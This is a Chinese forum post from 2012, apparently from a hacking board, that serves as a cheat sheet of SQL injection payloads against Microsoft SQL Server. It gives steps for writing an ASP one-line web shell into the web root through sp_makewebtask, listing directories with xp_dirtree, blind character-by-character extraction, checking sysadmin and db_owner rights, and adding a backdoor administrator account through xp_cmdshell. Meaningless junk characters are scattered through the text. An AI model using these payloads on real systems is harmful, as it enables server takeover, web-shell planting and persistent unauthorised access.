标题: mssql实用命令及导出一句话 [打印本页] 作者: admin 时间: 2012-9-13 17:49 标题: mssql实用命令及导出一句话 MSSQL语句导出一句话木马' Q' W. \* M2 P3 ~) w+ B
首先确定网站的WEB路径 8 n' w* f4 d0 s- g# V;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马' x# \/ ?0 Z' p) r# w1 o: |, S
2 `. b# R" v0 R
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- . N5 @# `" M3 O
//将一句话木马插入表中 F6 |9 j$ w, `9 k9 {6 @+ ?
" e( K* T$ x1 s5 e: _; r( k n+ Z;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- $ Y" _$ ^' y5 M# O, h" |
//导出一个ASP文件, ?6 W0 f5 y. j4 @
3 i5 {3 H/ E' {( D! N1 ]
, z' d2 C f- G O: L/ m' c关于MSSQL列目录/ G, I/ J9 [' T/ i
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表/ z- S0 Z8 Z, d9 L2 Q5 P% x% w
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表 . _ O9 ^! u) \9 m9 B9 `+ ]( r3 G* A- T% @
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录 x' P9 G' Q2 p0 t1 ^ C : [6 x7 Y' j% A1 aAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段+ X3 {3 F3 ^- T! @5 w0 l
5 t8 ]" M' {: E! h: P* iAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符" M& a/ ?! X8 `6 n$ \. K
7 S1 T5 i+ D, M- w! C$ j
" G- O# c) j5 L数据库版本和权限查看% u; @4 U, J, E5 ?* k
and 1=(select @@VERSION) //查看详细的数据库信息. : ~) F ^) P } Uand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA 9 O2 ~) Z6 T0 i) K6 A( pand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER , s# X2 N7 K( D1 {/ B" U . m/ r: f0 Q3 Y. g " e* ~5 y9 [$ G5 P5 }# F1.利用xp_cmdshell执行命令8 q @! C' b5 h8 E# u7 `& i3 r
exec master..xp_cmdshell 'net user rfire 123456 /add'+ g7 h- M6 @/ ]) `
exec master..xp_cmdshell 'net localgroup administrators rfire /add'- f% k* X3 x" k$ R